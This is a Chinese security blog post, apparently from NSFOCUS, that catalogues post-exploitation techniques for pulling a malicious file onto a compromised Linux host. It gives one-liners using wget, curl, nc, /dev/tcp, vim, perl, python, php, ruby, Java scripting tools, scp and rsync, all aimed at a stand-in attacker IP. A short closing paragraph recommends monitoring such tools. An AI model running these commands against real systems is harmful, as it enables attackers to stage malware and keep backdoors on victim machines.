后渗透之linux远程文件下载

当攻击者通过漏洞利用攻陷了服务器,取得了主机权限,便进入了后渗透阶段。后渗透阶段主要包括权限提升、信息搜集、后门部署等操作,在这个过程中经常需要从攻击端远程下载恶意文件。远程下载恶意文件的方式有多种手法,整体分为三类:使用工具下载、使用编程语言下载、使用远程复制下载,下面分别介绍各类手法。

一、使用工具下载

Linux系统有许多命令行工具,部分工具可以进行远程下载,既包括常规的文件下载工具wget、curl等,也包括nc、vim等非下载类工具。

  • wget

wget是Linux系统中的一个文件下载工具,支持HTTP,HTTPS和FTP协议。wget非常稳定,在网络原因导致下载失败的情况下,wget会不断的尝试,直到整个文件下载完毕。wget下载文件的命令如下:wget http://10.66.255.109:8080/evil_file.sh -O evil_file.sh。

注:http://10.66.255.109:8080/evil_file.sh为恶意文件下载路径,evil_file.sh为下载到本地的文件名。

  • curl

curl是一款通过Internet协议进行数据传输的工具,几乎支持所有的互联网协议,如HTTP、HTTPS、FTP等,也可用于文件上传和下载。 curl进行文件下载的命令如下:curl http://10.66.255.109:8080/evil_file.sh  -o evil_file.sh

  • Axel

Axel是一个轻量级的下载程序,在网速较差时可以通过多线程下载以提高下载速度,其支持 HTTP、HTTPS、FTP 、FTPS 多款协议。Axel进行文件下载的命令如下:axel http://10.66.255.109:8080/evil_file.sh -o evil_file.sh

  • Aria2

Aria2是一款支持分段下载、断点续传的高速下载工具,特点是资源占用少、功能齐全、使用简单,其支持的协议包括HTTP,HTTPS,FTP等。Aria2下载文件的命令: aria2c  http://10.66.255.109:8080/evil_file.sh -o  evil_file.sh

  • lwp-download

lwp-download是perl的LWP模块中的一个组件,可以实现从远程服务器上下载文件。lwp-download下载文件命令:lwp-download http://10.66.255.109:8080/evil_file.sh evil_file.sh。

  • cat

cat命令是Linux中最常用的命令之一,主要用于读取文件并将其内容显示到标准输出。使用cat下载文件的操作如下:

首先,攻击端(10.66.255.100)开放发送端口:nc -l 9999 < evil_file.sh

而后受害者连上攻击端下载恶意文件:cat < /dev/tcp/10.66.255.100/9999 >evil_file.sh

  • nc

nc全称Netcat,是一款非常出名的网络工具,经常在渗透测试和网络测试中使用。使用nc进行下载有两种方式:

方式一:先启动接收命令

先在受害主机(10.66.255.109)上启动一个接收文件的监听:nc -l 3232>evil_file.sh

而后在攻击机上往受害主机的3232端口发送数据,把恶意文件发送过去:nc 10.66.255.109 3232< evil_file.sh

方式二:先启动发送命令

先在攻击机(10.66.255.100)上启动发送文件命令:nc -l 3231 < evil_file.sh

而后受害主机连接攻击机,接收恶意文件: nc 10.66.255.100 3231 > evil_file.sh

  • vim

vim是从 vi 发展出来的一个文本编辑器,功能齐全且使用简单,受到广大用户的喜爱。在受害主机执行以下命令实现vim远程下载:

vim -c ‘:py import vim,sys;

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(“http://10.66.255.109:8080/evil_file.sh”, “evil_file.sh”)

vim.command(“:q!”)’

二、使用编程语言下载

由于需要在服务器上运行各类脚本,linux系统经常存在对python、perl等编程语言的支持,基于这些编程语言可以很方便地实现远程下载。

  • perl

perl是一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,被称为脚本语言中的瑞士军刀。在受害主机上执行一句话命令即可下载恶意文件:

perl -e  ‘use LWP::Simple;getstore(“http://10.66.255.109:8080/evil_file.sh”,”evil_file.sh”);’

  • python

python 是一种用于Web 应用、软件开发、机器学习的编程语言,是当下应用最广泛的语言之一。使用以下命令即可在受害主机上远程下载恶意文:python -c “import urllib2;open(‘evil_file.sh’,’wb’).write(urllib2.urlopen(‘http://10.66.255.109:8080/evil_file.sh’).read())”。

  • php

php是一种开源的通用计算机脚本语言,借鉴吸收了C语言、Java和Perl的特点,可嵌入到HTML中,尤其适合web 开发。php远程下载恶意文件的命令如下:php -r ‘$c=file_get_contents(“http://10.66.255.109:8080/evil_file.sh”);file_put_contents(“evil_file.sh”, $c);’

  • ruby

ruby是一款服务器端脚本语言,可以用来编写网关接口脚本,也可以嵌入到html,其语法简单且功能强大。ruby执行远程下载的命令如下:ruby -e ‘require “open-uri”; download = open(“http://10.66.255.109:8080/evil_file.sh”); IO.copy_stream(download, “evil_file.sh”)’

除此之外,还可以使用交互式Ruby irb实现远程下载,首先在终端输入irb,然后在irb中输入以下命令:require “open-uri”; download = open(“http://10.66.255.109:8080/evil_file.sh”); IO.copy_stream(download, “evil_file.sh”)

  • jjs

jjs是一个基于标准Nashorn引擎的命令行工具,可以接受js源码并执行。使用jjs进行远程下载的方法如下:在终端输入jjs,进入jjs交互命令端,输入以下命令下载文件:

var URL = Java.type(‘java.net.URL’);var ws = new URL(‘http://10.66.255.109:8080/evil_file.sh’);var Channels = Java.type(‘java.nio.channels.Channels’);var rbc = Channels.newChannel(ws.openStream());var FileOutputStream = Java.type(‘java.io.FileOutputStream’);var fos = new FileOutputStream(‘evil_file.sh’);fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);fos.close();rbc.close();

  • jrunscript

jrunscript 是一款Java 命令行脚本执行工具 ,主要用于解释执行 javascript、groovy、ruby 等脚本语言。在受害主机执行以下命令实现恶意文件下载:jrunscript -e “cp(‘http://10.66.255.109:8080/evil_file.sh’,’evil_file.sh’)”

三、通过远程复制下载

Linux上存在多款远程复制工具,如scp、sftp等,可以使用这些工具从跳板机或者攻击端上下载恶意文件。

  • scp

scp 命令是通过SSH 协议安全地将文件复制到远程系统和从远程系统复制文件到本地的命令,其从攻击端(10.66.255.100)远程复制文件的命令如下:scp root@10.66.255.100:/root/evil_file.sh evil_file.sh

  • sftp

sftp是ssh中的安全文件信息传输子系统,使用加密传输认证信息和传输的数据。依次在受害主机输入以下命令,可以从攻击端(10.66.255.100)实现文件下载:

sftp root@10.66.255.100

get /root/evil_file.sh

quit

  • rsync

rsync 是linux系统中一款进行远程文件同步的工具,其最大特点是会检查发送方和接收方已有的文件,仅传输有变动的部分。其进行远程文件下载的命令如下:rsync -av 10.66.255.100:/root/evil_file.sh evil_file.sh

四、总结

远程文件下载是后渗透阶段不可或缺的一环,实现手法多种多样。在安全运维过程中需要关注远程下载类工具的使用,并且对新增文件进行动态扫描,判定其是否为恶意文件,在第一时刻排除风险,以免造成后门驻留、数据泄露等风险。

版权声明
本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author